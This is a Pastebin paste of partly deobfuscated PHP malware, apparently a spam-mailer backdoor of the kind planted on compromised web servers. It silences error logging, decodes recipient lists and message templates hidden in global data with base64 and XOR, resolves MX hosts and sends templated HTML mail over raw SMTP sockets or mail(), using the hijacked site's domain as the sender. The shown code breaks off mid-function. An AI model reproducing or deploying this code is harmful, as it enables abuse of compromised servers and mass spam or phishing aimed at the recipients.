Advertisement
Guest User

Untitled

a guest
May 31st, 2015
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 33.77 KB | None | 0 0
  1. <?php
  2. $r42 = "/`.U7l=n>H?3@\"X)<9yiu{S|p#T%YZR8mQ4]h(q:^BD~ALaEJ!Pw\r0tv'-G6z,oN_[KeOC 2Fs+Mj5\nrdW*\tkf}\\x1g&;V\$bcI";
  3. $GLOBALS = array(
  4.   'aonou50' => 'error_reporting',
  5.   'rmyuf73' => 'ini_set',
  6.   'jpyvd6' => 'define',
  7.   'zdcfr88' => 'npuip65',
  8.   'objwf19' => 'rjqbo65',
  9.   'sslhr82' => 'md5',
  10.   'drfep85' => 'count',
  11.   'fosip69' => 'time',
  12.   'mqaeu21' => 'constant',
  13.   'madvj45' => 'jxbpo86',
  14.   'qguhq55' => 'carlg0',
  15.   'zyuaq75' => 'hradq9',
  16.   'judge60' => 'yqrtj91',
  17.   'eczpy44' => 'iiuka71',
  18.   'ohklq57' => 'function_exists',
  19.   'vxlgq93' => 'mail',
  20.   'ztbks50' => 'ujpoy39',
  21.   'ffpyl73' => 'ihecv47',
  22.   'jebkv91' => 'usleep',
  23.   'almzs43' => 'ubtcu36',
  24.   'gfwqe57' => 'etkcc59',
  25.   'addbp5' => 'trim',
  26.   'hmtmi82' => 'preg_replace',
  27.   'dvjeo20' => 'gethostbyname',
  28.   'qpehx39' => 'preg_match',
  29.   'gpenv13' => 'wldwf87',
  30.   'skfzs2' => 'xbeqq8',
  31.   'fdnmo27' => 'oworb52',
  32.   'ipzxy4' => 'wmhsu65',
  33.   'lnpzx74' => 'strlen',
  34.   'npbpf49' => 'tenht73',
  35.   'kyvxn54' => 'fmwwl90',
  36.   'zyqqq63' => 'array_keys',
  37.   'xsyuy21' => 'socket_select',
  38.   'gppvy20' => 'ucfirst',
  39.   'gifyv69' => 'str_replace',
  40.   'luycy50' => 'ini_get',
  41.   'kyvrh10' => 'blbas39',
  42.   'rtevy34' => 'date',
  43.   'soxww79' => 'getmxrr',
  44.   'ctwop59' => 'herwg20',
  45.   'ugoro92' => 'min',
  46.   'crqwt35' => array(),
  47.   'xbvuw92' => 'ypguw15',
  48.   'cvvbh10' => 'preg_split',
  49.   'wsgrk37' => 'herjq77',
  50.   'rlcnp22' => 'chr',
  51.   'zblja21' => 'ord',
  52.   'vgjfa16' => 'urldecode',
  53.   'mhliw31' => 'stripslashes',
  54.   'bucwx36' => 'array_flip',
  55.   'prqlq55' => 'preg_match_all',
  56.   'rlkva29' => 'base64_encode',
  57.   'bqrbf81' => 'socket_create',
  58.   'hirkg98' => 'socket_last_error',
  59.   'wzceo40' => 'socket_strerror',
  60.   'syjnl62' => 'socket_set_option',
  61.   'tbdmf34' => 'socket_set_nonblock',
  62.   'enfdc8' => 'socket_connect',
  63.   'uhxuy36' => 'fsockopen',
  64.   'ldpya8' => 'stream_set_blocking',
  65.   'jfahd2' => 'stream_set_timeout',
  66.   'gdquq70' => 'stream_socket_client',
  67.   'crqar43' => 'socket_close',
  68.   'gvggw18' => 'fclose',
  69.   'cuonk91' => 'socket_read',
  70.   'zktzx53' => 'feof',
  71.   'mltwi0' => 'fread',
  72.   'bbnev99' => 'socket_write',
  73.   'xgity40' => 'fwrite',
  74.   'owuzd88' => 'rand',
  75.   'qopav36' => 'explode',
  76.   'kruxq58' => 'pack',
  77.   'gworo7' => 'unpack',
  78.   'wdywt40' => 'gxhti26',
  79.   'olrol8' => 'array_merge',
  80.   'lzbmz15' => 'long2ip'
  81. );
  82.  
  83. @error_reporting(NULL);
  84. @ini_set('error_log', NULL);
  85. @ini_set('log_errors', 0);
  86. define('DNS_TYPE_MX', 0x000F);
  87. define('DNS_TYPE_A', 0x0001);
  88. define('DNS_TYPE_NS', 0x0002);
  89. define('DNS_STEP_QESTION', 1);
  90. define('DNS_STEP_ANSWER', 2);
  91. define('DNS_STEP_AUTHORITY', 3);
  92. define('DNS_STEP_ADDITIONAL', 4);
  93. define('SOCKET_TYPE_SOCKET', 1);
  94. define('SOCKET_TYPE_FSOCKET', 2);
  95. define('SOCKET_TYPE_STREAM', 4);
  96. define('SOCKET_TYPE_NO', 5);
  97. define('SOCKET_PROTO_TCP', 1);
  98. define('SOCKET_PROTO_UDP', 2);
  99. define('STEP_CONNECT', 0);
  100. define('STEP_CONNECTED', 1);
  101. define('STEP_EHLO', 2);
  102. define('STEP_MAILFROM', 3);
  103. define('STEP_RCPTTO', 4);
  104. define('STEP_DATA', 5);
  105. define('STEP_BODY', 6);
  106. define('STEP_QUIT', 7);
  107. define('STEP_COMPLETED', 8);
  108. npuip65($r42, NULL);
  109.  
  110. $vrtwz97 = array(
  111.     'toList' => "",
  112.     'fromLogin' => "",
  113.     'fromName' => "",
  114.     'subjTempl' => "",
  115.     'bodyTempl' => "",
  116.     'hostFrom' => ""
  117. );
  118.  
  119. if (FALSE == rjqbo65($r42, $vrtwz97)) {
  120.     echo PHP_OS . '+' . md5(0987654321) . '+01+[[]]
  121. ';
  122.     exit;
  123. }
  124. $mmnik46 = array();
  125. for ($uuuqf17 = 0; $uuuqf17 < count($vrtwz97['toList']); $uuuqf17++) {
  126.     $novbn53 = array(
  127.         'id' => $uuuqf17,
  128.         'g_mailto' => "",
  129.         'g_mailto+' => "",
  130.         'g_mailfrom' => "",
  131.         'g_mailfrom+' => "",
  132.         'g_domainto' => "",
  133.         'g_domainfrom' => "",
  134.         'g_namefirst' => "",
  135.         'g_namelast' => "",
  136.         'g_body' => "",
  137.         'g_subject' => "",
  138.         'g_fff' => FALSE,
  139.         'g_header' => "",
  140.         'g_headerfrom' => "",
  141.         's_header' => "",
  142.         's_mxhost' => "",
  143.         's_mxaddr' => FALSE,
  144.         's_sock' => FALSE,
  145.         's_time' => time(),
  146.         's_step' => constant('STEP_CONNECT'),
  147.         's_port' => 25,
  148.         's_datain' => "",
  149.         's_dataout' => "",
  150.         's_trig' => FALSE,
  151.         'l_err' => "",
  152.         'l_done' => FALSE,
  153.         'l_way' => 0,
  154.         'l_failsmtp' => FALSE,
  155.         'l_smtp_end' => FALSE
  156.     );
  157.     if (FALSE == jxbpo86($r42, $vrtwz97['toList'][$uuuqf17], $vrtwz97, $novbn53)) {
  158.         echo PHP_OS . '+' . md5(1111111111) . '+02+[[' . carlg0($r42, $vrtwz97['toList'][$uuuqf17]) . ']]
  159. ';
  160.         continue;
  161.     }
  162.     $mmnik46[] = $novbn53;
  163. }
  164. hradq9($r42, $mmnik46);
  165. yqrtj91($r42, $mmnik46);
  166. iiuka71($r42, $mmnik46);
  167. exit;
  168. function iiuka71($r42, $mmnik46)
  169. {
  170.     $opvds84 = 0;
  171.     $duzfx17 = "";
  172.     for ($uuuqf17 = 0; $uuuqf17 < count($mmnik46); $uuuqf17++) {
  173.         if ($mmnik46[$uuuqf17]['l_failsmtp'] == TRUE) {
  174.             echo PHP_OS . '+' . md5(2222222222) . '+04+[[' . carlg0($r42, $mmnik46[$uuuqf17]['g_mailto'] . ' :: ' . $mmnik46[$uuuqf17]['l_err']) . ']]
  175. ';
  176.         }
  177.         if ($mmnik46[$uuuqf17]['l_done'] == TRUE) {
  178.             $duzfx17 .= $mmnik46[$uuuqf17]['l_way'];
  179.             $opvds84++;
  180.         }
  181.     }
  182.     if ($opvds84 == 0) {
  183.         echo PHP_OS . '+' . md5(0987654321) . '+04+[[]]
  184. ';
  185.     } else {
  186.         echo 'OK+' . md5(1234567890) . '+' . $opvds84 . '+' . count($mmnik46) . '[' . $duzfx17 . ']
  187. ';
  188.     }
  189. }
  190. function yqrtj91($r42, &$mmnik46)
  191. {
  192.     if (!function_exists('mail')) {
  193.         return FALSE;
  194.     }
  195.     for ($uuuqf17 = 0; $uuuqf17 < count($mmnik46); $uuuqf17++) {
  196.         if ($mmnik46[$uuuqf17]['l_done'] == TRUE) {
  197.             continue;
  198.         }
  199.         if ($mmnik46[$uuuqf17]['g_fff']) {
  200.             if (@mail($mmnik46[$uuuqf17]['g_mailto+'], $mmnik46[$uuuqf17]['g_subject'], $mmnik46[$uuuqf17]['g_body'], $mmnik46[$uuuqf17]['g_headerfrom'] . $mmnik46[$uuuqf17]['g_header'], '-f' . $mmnik46[$uuuqf17]['g_mailfrom'])) {
  201.                 $mmnik46[$uuuqf17]['l_done'] = TRUE;
  202.                 $mmnik46[$uuuqf17]['l_way']           = 2;
  203.             } else {
  204.                 $mmnik46[$uuuqf17]['l_done'] = FALSE;
  205.             }
  206.         } else {
  207.             if (@mail($mmnik46[$uuuqf17]['g_mailto+'], $mmnik46[$uuuqf17]['g_subject'], $mmnik46[$uuuqf17]['g_body'], $mmnik46[$uuuqf17]['g_header'])) {
  208.                 $mmnik46[$uuuqf17]['l_done'] = TRUE;
  209.                 $mmnik46[$uuuqf17]['l_way']           = 2;
  210.             } else {
  211.                 $mmnik46[$uuuqf17]['l_done'] = FALSE;
  212.             }
  213.         }
  214.     }
  215. }
  216. function hradq9($r42, &$mmnik46)
  217. {
  218.     while (ujpoy39($r42, $mmnik46)) {
  219.         ihecv47($r42, $mmnik46);
  220.         usleep(25000);
  221.     }
  222. }
  223. function ubtcu36($r42, &$mmnik46, $lyjgo3, $tflwd88, $qvegu45)
  224. {
  225.     if ($mmnik46[$lyjgo3]['s_sock'] != FALSE) {
  226.         etkcc59($r42, $mmnik46[$lyjgo3]['s_sock']);
  227.     }
  228.     $mmnik46[$lyjgo3]['l_err']                                                       = '[' . $mmnik46[$lyjgo3]['s_step'] . ']' . trim(preg_replace('/
  229. /', ' ', $tflwd88));
  230.     $mmnik46[$lyjgo3]['l_failsmtp'] = $qvegu45;
  231.     $mmnik46[$lyjgo3]['l_smtp_end'] = TRUE;
  232.     return;
  233. }
  234. function ihecv47($r42, &$mmnik46)
  235. {
  236.     $ifcem45 = time();
  237.     foreach ($mmnik46 as $lyjgo3 => $novbn53) {
  238.         if ($novbn53['l_smtp_end'] == TRUE) {
  239.             continue;
  240.         }
  241.         if ($novbn53['s_time'] + 20 < $ifcem45) {
  242.             if ($mmnik46[$lyjgo3]['s_step'] == constant('STEP_CONNECT') && $mmnik46[$lyjgo3]['s_port'] != 587) {
  243.                 etkcc59($r42, $mmnik46[$lyjgo3]['s_sock']);
  244.                 $mmnik46[$lyjgo3]['s_port'] = 587;
  245.                 $mmnik46[$lyjgo3]['s_time'] = time();
  246.                 continue;
  247.             }
  248.             ubtcu36($r42, $mmnik46, $lyjgo3, 'timeout', FALSE);
  249.             continue;
  250.         }
  251.         switch ($mmnik46[$lyjgo3]['s_step']) {
  252.             case constant('STEP_CONNECT'):
  253.                 if ($mmnik46[$lyjgo3]['s_mxaddr'] == FALSE) {
  254.                     $mmnik46[$lyjgo3]['s_mxaddr'] = @gethostbyname($mmnik46[$lyjgo3]['s_mxhost']);
  255.                     if (!@preg_match('/([0-9]{1,3}\.?){4}/', $mmnik46[$lyjgo3]['s_mxaddr'])) {
  256.                         ubtcu36($r42, $mmnik46, $lyjgo3, 'resolve mx', FALSE);
  257.                         break;
  258.                     }
  259.                 }
  260.                 $jmvht55                                                                           = 0;
  261.                 $ttsxi60                                                                           = '';
  262.                 $mmnik46[$lyjgo3]['s_sock'] = wldwf87($r42, $mmnik46[$lyjgo3]['s_sock'], constant('SOCKET_PROTO_TCP'), $mmnik46[$lyjgo3]['s_mxaddr'], $mmnik46[$lyjgo3]['s_port'], 2, $jmvht55, $ttsxi60, TRUE);
  263.                 if ($mmnik46[$lyjgo3]['s_sock'] == FALSE) {
  264.                     break;
  265.                 }
  266.                 if ($jmvht55 == 0 || $jmvht55 === 56 || $jmvht55 === 10056) {
  267.                     $mmnik46[$lyjgo3]['s_step'] = constant('STEP_CONNECTED');
  268.                     xbeqq8($r42, $mmnik46[$lyjgo3]['s_sock'], 15);
  269.                     $mmnik46[$lyjgo3]['s_time'] = time();
  270.                 }
  271.                 break;
  272.             case constant('STEP_CONNECTED'):
  273.                 if (oworb52($r42, $mmnik46, $lyjgo3)) {
  274.                     $mmnik46[$lyjgo3]['s_datain']             = "";
  275.                     $mmnik46[$lyjgo3]['s_dataout'] = 'EHLO ' . $mmnik46[$lyjgo3]['g_domainfrom'] . '
  276. ';
  277.                     $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_EHLO');
  278.                     $mmnik46[$lyjgo3]['s_time']                                  = time();
  279.                 }
  280.                 break;
  281.             case constant('STEP_EHLO'):
  282.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  283.                     if (oworb52($r42, $mmnik46, $lyjgo3)) {
  284.                         if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
  285.                             ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
  286.                             break;
  287.                         }
  288.                         $mmnik46[$lyjgo3]['s_datain']             = "";
  289.                         $mmnik46[$lyjgo3]['s_dataout'] = 'MAIL FROM:<' . $mmnik46[$lyjgo3]['g_mailfrom'] . '>
  290. ';
  291.                         $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_MAILFROM');
  292.                         $mmnik46[$lyjgo3]['s_time']                                  = time();
  293.                     }
  294.                     break;
  295.                 }
  296.                 break;
  297.             case constant('STEP_MAILFROM'):
  298.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  299.                     if (oworb52($r42, $mmnik46, $lyjgo3)) {
  300.                         if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
  301.                             ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
  302.                             break;
  303.                         }
  304.                         $mmnik46[$lyjgo3]['s_datain']             = "";
  305.                         $mmnik46[$lyjgo3]['s_dataout'] = 'RCPT TO:<' . $mmnik46[$lyjgo3]['g_mailto'] . '>
  306. ';
  307.                         $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_RCPTTO');
  308.                         $mmnik46[$lyjgo3]['s_time']                                  = time();
  309.                     }
  310.                     break;
  311.                 }
  312.                 break;
  313.             case constant('STEP_RCPTTO'):
  314.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  315.                     if (oworb52($r42, $mmnik46, $lyjgo3)) {
  316.                         if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250 && substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 251) {
  317.                             ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
  318.                             break;
  319.                         }
  320.                         $mmnik46[$lyjgo3]['s_datain']             = "";
  321.                         $mmnik46[$lyjgo3]['s_dataout'] = 'DATA
  322. ';
  323.                         $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_DATA');
  324.                         $mmnik46[$lyjgo3]['s_time']                                  = time();
  325.                     }
  326.                     break;
  327.                 }
  328.                 break;
  329.             case constant('STEP_DATA'):
  330.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  331.                     if (oworb52($r42, $mmnik46, $lyjgo3)) {
  332.                         if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 354) {
  333.                             ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
  334.                             break;
  335.                         }
  336.                         $mmnik46[$lyjgo3]['s_datain']             = "";
  337.                         $mmnik46[$lyjgo3]['s_dataout'] = $mmnik46[$lyjgo3]['s_header'] . '
  338. ' . $mmnik46[$lyjgo3]['g_body'] . '
  339. .
  340. ';
  341.                         $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_BODY');
  342.                         $mmnik46[$lyjgo3]['s_time']                                  = time();
  343.                     }
  344.                     break;
  345.                 }
  346.                 break;
  347.             case constant('STEP_BODY'):
  348.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  349.                     if (oworb52($r42, $mmnik46, $lyjgo3)) {
  350.                         if (substr($mmnik46[$lyjgo3]['s_datain'], 0, 3) != 250) {
  351.                             ubtcu36($r42, $mmnik46, $lyjgo3, $mmnik46[$lyjgo3]['s_datain'], TRUE);
  352.                             break;
  353.                         }
  354.                         $mmnik46[$lyjgo3]['s_datain']             = "";
  355.                         $mmnik46[$lyjgo3]['s_dataout'] = 'QUIT
  356. ';
  357.                         $mmnik46[$lyjgo3]['s_step']                                  = constant('STEP_QUIT');
  358.                         $mmnik46[$lyjgo3]['s_time']                                  = time();
  359.                         $mmnik46[$lyjgo3]['l_done']                                    = TRUE;
  360.                         $mmnik46[$lyjgo3]['l_way']                                              = 1;
  361.                     }
  362.                     break;
  363.                 }
  364.                 break;
  365.             case constant('STEP_QUIT'):
  366.                 if (wmhsu65($r42, $mmnik46, $lyjgo3)) {
  367.                     ubtcu36($r42, $mmnik46, $lyjgo3, "", FALSE);
  368.                 }
  369.                 break;
  370.         }
  371.     }
  372. }
  373. function oworb52($r42, &$mmnik46, $lyjgo3)
  374. {
  375.     $jmvht55 = 0;
  376.     $ttsxi60 = "";
  377.     if ($mmnik46[$lyjgo3]['s_trig'] == FALSE) {
  378.         if (strlen($mmnik46[$lyjgo3]['s_datain']) != 0) {
  379.             return TRUE;
  380.         }
  381.         return FALSE;
  382.     }
  383.     $vvrje90 = tenht73($r42, $mmnik46[$lyjgo3]['s_sock'], 4086, $jmvht55, $ttsxi60);
  384.     if ($vvrje90 == FALSE || $vvrje90 == "") {
  385.         if ($jmvht55 != 35 && $jmvht55 != 10035 && $jmvht55 != 11 && $jmvht55 != 10060) {
  386.             ubtcu36($r42, $mmnik46, $lyjgo3, $ttsxi60, FALSE);
  387.             return FALSE;
  388.         }
  389.         if (strlen($mmnik46[$lyjgo3]['s_datain']) != 0) {
  390.             return TRUE;
  391.         }
  392.         return FALSE;
  393.     }
  394.     $mmnik46[$lyjgo3]['s_datain'] = $vvrje90;
  395.     return FALSE;
  396. }
  397. function wmhsu65($r42, &$mmnik46, $lyjgo3)
  398. {
  399.     $jmvht55 = 0;
  400.     $ttsxi60 = "";
  401.     if (strlen($mmnik46[$lyjgo3]['s_dataout']) == 0) {
  402.         return TRUE;
  403.     }
  404.     $vvrje90 = fmwwl90($r42, $mmnik46[$lyjgo3]['s_sock'], $mmnik46[$lyjgo3]['s_dataout'], $jmvht55, $ttsxi60);
  405.     if ($vvrje90 == FALSE) {
  406.         if ($jmvht55 != 35 && $jmvht55 != 10035 && $jmvht55 != 11 && $jmvht55 != 10060) {
  407.             ubtcu36($r42, $mmnik46, $lyjgo3, $ttsxi60, FALSE);
  408.         }
  409.         return FALSE;
  410.     }
  411.     $mmnik46[$lyjgo3]['s_dataout'] = substr($mmnik46[$lyjgo3]['s_dataout'], $vvrje90);
  412.     if (strlen($mmnik46[$lyjgo3]['s_dataout']) == 0) {
  413.         return TRUE;
  414.     }
  415.     return FALSE;
  416. }
  417. function ujpoy39($r42, &$mmnik46)
  418. {
  419.     $qugkp78 = FALSE;
  420.     if (constant('SOCKET_TYPE') != constant('SOCKET_TYPE_SOCKET')) {
  421.         foreach (array_keys($mmnik46) as $lyjgo3) {
  422.             if ($mmnik46[$lyjgo3]['l_smtp_end'] != TRUE) {
  423.                 $mmnik46[$lyjgo3]['s_trig'] = TRUE;
  424.                 $qugkp78                                                                           = TRUE;
  425.             }
  426.         }
  427.         return $qugkp78;
  428.     }
  429.     $waxpl19 = array();
  430.     foreach (array_keys($mmnik46) as $lyjgo3) {
  431.         if ($mmnik46[$lyjgo3]['l_smtp_end'] != TRUE) {
  432.             if ($mmnik46[$lyjgo3]['s_sock'] == 0 || $mmnik46[$lyjgo3]['s_step'] == constant('STEP_CONNECT')) {
  433.                 $mmnik46[$lyjgo3]['s_trig'] = TRUE;
  434.             } else {
  435.                 $mmnik46[$lyjgo3]['s_trig'] = FALSE;
  436.                 $waxpl19[]                                                                         = $mmnik46[$lyjgo3]['s_sock'];
  437.             }
  438.             $qugkp78 = TRUE;
  439.         }
  440.     }
  441.     if (count($waxpl19) == 0) {
  442.         return $qugkp78;
  443.     }
  444.     $adkol45 = @socket_select($waxpl19, $awtej10 = NULL, $vapgy82 = NULL, 0);
  445.     if ($adkol45 == FALSE || $adkol45 == 0) {
  446.         return $qugkp78;
  447.     }
  448.     foreach (array_keys($mmnik46) as $lyjgo3) {
  449.         $mmnik46[$lyjgo3]['s_trig'] = FALSE;
  450.         foreach ($waxpl19 as $rocge62) {
  451.             if ($mmnik46[$lyjgo3]['s_sock'] == $rocge62) {
  452.                 $mmnik46[$lyjgo3]['s_trig'] = TRUE;
  453.                 break;
  454.             }
  455.         }
  456.     }
  457.     return $qugkp78;
  458. }
  459. function npuip65($r42, $mrjhr38)
  460. {
  461.     if (function_exists('socket_create') && function_exists('socket_connect') && function_exists('socket_read') && function_exists('socket_write')) {
  462.         define('SOCKET_TYPE', constant('SOCKET_TYPE_SOCKET'));
  463.         return TRUE;
  464.     }
  465.     if (function_exists('fsockopen')) {
  466.         define('SOCKET_TYPE', constant('SOCKET_TYPE_FSOCKET'));
  467.         return TRUE;
  468.     }
  469.     if (function_exists('stream_socket_client')) {
  470.         define('SOCKET_TYPE', constant('SOCKET_TYPE_STREAM'));
  471.         return TRUE;
  472.     }
  473.     define('SOCKET_TYPE', constant('SOCKET_TYPE_NO'));
  474.     return FALSE;
  475. }
  476. function jxbpo86($r42, $lkofe54, $vrtwz97, &$novbn53)
  477. {
  478.     $zqkzh39 = array();
  479.     if (FALSE === @preg_match('/(.*?;)?(.*?;)?(.+@(.+)?);?/', $lkofe54, $zqkzh39)) {
  480.         return FALSE;
  481.     }
  482.     if (!isset($zqkzh39) || count($zqkzh39) != 5) {
  483.         return FALSE;
  484.     }
  485.     $novbn53['g_namefirst'] = @ucfirst(str_replace(';', "", $zqkzh39[1]));
  486.     $novbn53['g_namelast']             = @ucfirst(str_replace(';', "", $zqkzh39[2]));
  487.     $novbn53['g_mailto']                                  = str_replace(';', "", $zqkzh39[3]);
  488.     $novbn53['g_domainto']            = str_replace(';', "", $zqkzh39[4]);
  489.     if (!isset($novbn53['g_mailto']) || $novbn53['g_mailto'] == "") {
  490.         return FALSE;
  491.     }
  492.     if (!isset($novbn53['g_domainto']) || $novbn53['g_domainto'] == "") {
  493.         return FALSE;
  494.     }
  495.     if (isset($novbn53['g_namefirst']) && $novbn53['g_namefirst'] != "") {
  496.         $novbn53['g_mailto+'] = '"' . $novbn53['g_namefirst'] . ' ' . $novbn53['g_namelast'] . '" <' . $novbn53['g_mailto'] . '>';
  497.     } else {
  498.         $novbn53['g_mailto+'] = $novbn53['g_mailto'];
  499.     }
  500.     $novbn53['g_domainfrom'] = $vrtwz97['hostFrom'];
  501.     if (preg_match('/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/', $vrtwz97['hostFrom']) || @ini_get('safe_mode')) {
  502.         $novbn53['g_fff'] = FALSE;
  503.     } else {
  504.         $novbn53['g_fff'] = TRUE;
  505.     }
  506.     $novbn53['g_mailfrom'] = $vrtwz97['fromLogin'] . '@' . $vrtwz97['hostFrom'];
  507.     if (isset($vrtwz97['fromName']) && $vrtwz97['fromName'] != "") {
  508.         $novbn53['g_mailfrom+'] = $vrtwz97['fromName'] . ' <' . $novbn53['g_mailfrom'] . '>';
  509.     } else {
  510.         $novbn53['g_mailfrom+'] = $novbn53['g_mailfrom'];
  511.     }
  512.     $novbn53['s_mxhost']            = blbas39($r42, $novbn53['g_domainto']);
  513.     $novbn53['g_subject'] = @str_replace('%R_NAME%', $novbn53['g_namefirst'], $vrtwz97['subjTempl']);
  514.     $novbn53['g_subject'] = @str_replace('%R_LNAME%', $novbn53['g_namelast'], $novbn53['g_subject']);
  515.     $novbn53['g_body']                                  = @str_replace('%R_NAME%', $novbn53['g_namefirst'], $vrtwz97['bodyTempl']);
  516.     $novbn53['g_body']                                  = @str_replace('%R_LNAME%', $novbn53['g_namelast'], $novbn53['g_body']);
  517.     $novbn53['g_body']                                  = @str_replace('%MAIL_EN%', carlg0($r42, $novbn53['g_mailto']), $novbn53['g_body']);
  518.     $novbn53['g_header']            = 'X-Priority: 3 (Normal)
  519. ';
  520.     $novbn53['g_header'] .= 'MIME-Version: 1.0
  521. ';
  522.     $novbn53['g_header'] .= 'Content-Type: text/html; charset="iso-8859-1"
  523. ';
  524.     $novbn53['g_header'] .= 'Content-Transfer-Encoding: 8bit
  525. ';
  526.     $novbn53['g_headerfrom'] = 'From: ' . $novbn53['g_mailfrom+'] . '
  527. ';
  528.     $novbn53['g_headerfrom'] .= 'Reply-To:' . $novbn53['g_mailfrom+'] . '
  529. ';
  530.     $novbn53['s_header'] = 'Date: ' . @date('D, j M Y G:i:s O') . '
  531. ';
  532.     $novbn53['s_header'] .= $novbn53['g_headerfrom'];
  533.     $novbn53['s_header'] .= 'Message-ID: <' . preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time())) . '@' . $vrtwz97['hostFrom'] . '>
  534. ';
  535.     $novbn53['s_header'] .= 'To: ' . $novbn53['g_mailto+'] . '
  536. ';
  537.     $novbn53['s_header'] .= 'Subject: ' . $novbn53['g_subject'] . '
  538. ';
  539.     $novbn53['s_header'] .= $novbn53['g_header'];
  540.     return TRUE;
  541. }
  542. function blbas39($r42, $ojgjp4)
  543. {
  544.     $tqjgf76 = array();
  545.     $vawzo87 = array();
  546.     if (function_exists('getmxrr')) {
  547.         @getmxrr($ojgjp4, $tqjgf76, $vawzo87);
  548.     } else {
  549.         if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_NO')) {
  550.             return FALSE;
  551.         }
  552.         $adkol45 = herwg20($r42, $ojgjp4, constant('DNS_TYPE_MX'));
  553.         if ($adkol45 == FALSE || !isset($adkol45['ans'])) {
  554.             return FALSE;
  555.         }
  556.         foreach ($adkol45['ans'] as $ocdgf78) {
  557.             if ($ocdgf78['type'] == constant('DNS_TYPE_MX')) {
  558.                 $tqjgf76[] = $ocdgf78['data'];
  559.                 $vawzo87[] = $ocdgf78['preference'];
  560.             }
  561.         }
  562.     }
  563.     if (count($tqjgf76) == 0) {
  564.         return FALSE;
  565.     }
  566.     $oikup15 = array_keys($vawzo87, min($vawzo87));
  567.     return $tqjgf76[$oikup15[0]];
  568. }
  569. function rjqbo65($r42, &$vrtwz97)
  570. {
  571.     if (count($GLOBALS['crqwt35']) < 2) {
  572.         return FALSE;
  573.     }
  574.     $sfofm54 = false;
  575.     $qwrxh68 = $itctt55 = "";
  576.     foreach (array_keys($GLOBALS['crqwt35']) as $vjuki12) {
  577.         if ($vjuki12[0] == 'l') {
  578.             $qwrxh68 = $vjuki12;
  579.         }
  580.         if ($vjuki12[0] == 'd') {
  581.             $itctt55 = $vjuki12;
  582.         }
  583.         if ($vjuki12[0] == 'e') {
  584.             $sfofm54 = true;
  585.         }
  586.     }
  587.     if ($qwrxh68 == "" || $itctt55 == "") {
  588.         return FALSE;
  589.     }
  590.     $efrpt72 = ypguw15($r42, $qwrxh68, $sfofm54);
  591.     $iejlj90 = ypguw15($r42, $itctt55, $sfofm54);
  592.     if ($efrpt72 == FALSE || $iejlj90 == FALSE) {
  593.         return FALSE;
  594.     }
  595.     $vrtwz97['toList']                                 = @preg_split('/#/', $efrpt72);
  596.     $vrtwz97['fromLogin'] = $vrtwz97['fromName'] = $vrtwz97['subjTempl'] = $vrtwz97['bodyTempl'] = "";
  597.     $zqkzh39                                                                                                  = array();
  598.     if (FALSE !== @preg_match('/<USER>(.*?)<\/USER>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
  599.         $vrtwz97['fromLogin'] = $zqkzh39[1];
  600.     }
  601.     if (FALSE !== @preg_match('/<NAME>(.*?)<\/NAME>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
  602.         $vrtwz97['fromName'] = $zqkzh39[1];
  603.     }
  604.     if (FALSE !== @preg_match('/<SUBJ>(.*?)<\/SUBJ>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
  605.         $vrtwz97['subjTempl'] = $zqkzh39[1];
  606.     }
  607.     if (FALSE !== @preg_match('/<SBODY>(.*?)<\/SBODY>/ism', $iejlj90, $zqkzh39) && isset($zqkzh39) && count($zqkzh39) > 1) {
  608.         $vrtwz97['bodyTempl'] = $zqkzh39[1];
  609.     }
  610.     $vrtwz97['hostFrom'] = @preg_replace('/^(www|ftp)\./i', '', $_SERVER['HTTP_HOST']);
  611.     return TRUE;
  612. }
  613. function ypguw15($r42, $vjuki12, $sfofm54)
  614. {
  615.     if (!isset($vjuki12) || $vjuki12 == "") {
  616.         return FALSE;
  617.     }
  618.     $zeqgt70 = @$GLOBALS['crqwt35'][$vjuki12];
  619.     if ($sfofm54) {
  620.         $zeqgt70 = herjq77($r42, $zeqgt70);
  621.         for ($oikup15 = 0; $oikup15 < strlen($zeqgt70); $oikup15++) {
  622.             $zeqgt70[$oikup15] = chr(ord($zeqgt70[$oikup15]) ^ 2);
  623.         }
  624.     }
  625.     return urldecode(stripslashes($zeqgt70));
  626. }
  627. function herjq77($r42, $sclac71)
  628. {
  629.     $qugkp78 = "";
  630.     for ($uuuqf17 = 0; $uuuqf17 < 256; $uuuqf17++) {
  631.         $gdhxk63[$uuuqf17] = chr($uuuqf17);
  632.     }
  633.     $uzlie40 = array_flip(preg_split('//', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', -1, 1));
  634.     $htibf61 = array();
  635.     preg_match_all('([A-z0-9+\/]{1,4})', $sclac71, $htibf61);
  636.     foreach ($htibf61[0] as $mwvtg92) {
  637.         $phqtg90 = 0;
